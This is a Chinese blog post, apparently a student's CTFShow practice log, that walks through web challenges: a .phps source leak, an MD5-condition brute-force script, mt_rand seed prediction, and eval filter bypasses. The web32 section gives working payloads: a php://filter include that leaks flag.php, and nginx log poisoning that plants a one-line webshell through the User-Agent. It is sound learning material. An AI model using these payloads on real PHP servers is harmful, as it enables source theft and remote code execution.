文章目录

CTFShow刷题日记#Web#1.20-1.26

由 Polze Li 发布

作为小白,ctfshow对我来说意义很大,web题型很多,在本周刷的内容里面,RCE漏洞花样百出,让我看不到尽头(((。简直了,花样太多了,还得多刷多学,每次比赛做题都是现学现做doge

本周刷题内容
信息收集web1-web17
爆破web21-web24
命令执行web29-39
博客只分享部分我没见过我认为有价值的题目可以学习的部分题目解题日记

信息收集

Web5

这里的考点是phps源码泄露(index.phps)

可以拿dirsearch扫一下存在的漏洞,发现phps源码泄露就直接访问靶机http://xxx.xxx.xxx.xxx/index.phps 得到

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-01 14:14:17
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-01 14:34:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

//ctfshow{4e8ddc40-6ecf-430e-9807-8a10d5750384}
echo "web5:where is flag ?"

得到flag

小结:这题目很简单但是似乎也很冷门,做到这题才知道有phps源码泄露这个东西,故在此作记录

爆破

Web23

这里考点是写脚本,爆破(((((建议使用GPT(喜)

源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

简单来说就是md5碰撞,找到符合if条件的哈希值,下面是if判断条件

md5的第 1 位(从 0 开始算)等于第 14 位
md5的第 14 位等于第 17 位。
md5的第 1 位的整数值、14 位的整数值、和 17 位的整数值的和除以第 1 位的整数值等于第 31 位的整数值。

下面附上exp

import hashlib

# 生成 MD5
def check_token(token):
    token_md5 = hashlib.md5(token.encode()).hexdigest()

    # 检查字符条件
    if token_md5[1] == token_md5[14] == token_md5[17]:
        # 计算数学条件
        substr1 = int(token_md5[1], 16)  # 第二个字符
        substr14 = int(token_md5[14], 16)  # 第15个字符
        substr17 = int(token_md5[17], 16)  # 第18个字符
        substr31 = int(token_md5[31], 16)  # 第32个字符

        # 数学公式判断
        if (substr1 + substr14 + substr17) / substr1 == substr31:
            print(f"符合条件的 token: {token}")
            print(f"MD5加密后: {token_md5}")
            return True
    return False

# 暴力破解生成 1-6 长度的数字组合
def generate_combinations():
    for length in range(1, 7):
        for i in range(10**length):
            yield str(i).zfill(length)

# 主程序
for token in generate_combinations():
    if check_token(token):
        break

运行即可得到

CTFShow刷题日记#Web#1.20-1.26

token值为422,传入即可

小结:这里emmm,token其实可以用bp爆破,从1开始传入token值,这也算是一种方法吧(

Web24

这里考点是伪随机数,参考CTF_Web:php伪随机数mt_rand()函数+php_mt_seed工具使用

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。
其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。

mt_srand() 函数播种 Mersenne Twister 随机数生成器。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。

查看源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?> Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023

对于这个,我们得先确认一下靶机php版本以做下一步判断。

CTFShow刷题日记#Web#1.20-1.26

得到是php7.3.11,这里伪随机数源码给定了seed种子(生成的数字固定),我们直接可以模拟这个伪随机数生成

<?php
mt_srand(372619038);
echo intval(mt_rand());

运行得到 1155388967 我们get传入得到flag

命令执行

Web32

这里考点就是rce的许多绕过姿势

查看源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

方法一

分析源码,过滤了flag、system、php、cat、sort、shell、echo等字符,我们发现passthru没有被过滤但是;被过滤了,所以直接明文感觉是不行的

利用参数输入+include

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

方法二

日志注入

payload:url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

小结:rce绕过姿势很多,详见可以看博客RCE的总结((( web太难了(((

啊啊啊啊啊啊啊啊啊啊,ctfshow都刷不明白,打西湖打个毛线(((,w36师兄今年快快带我飞~~~~~~~~

0条评论

发表评论


验证码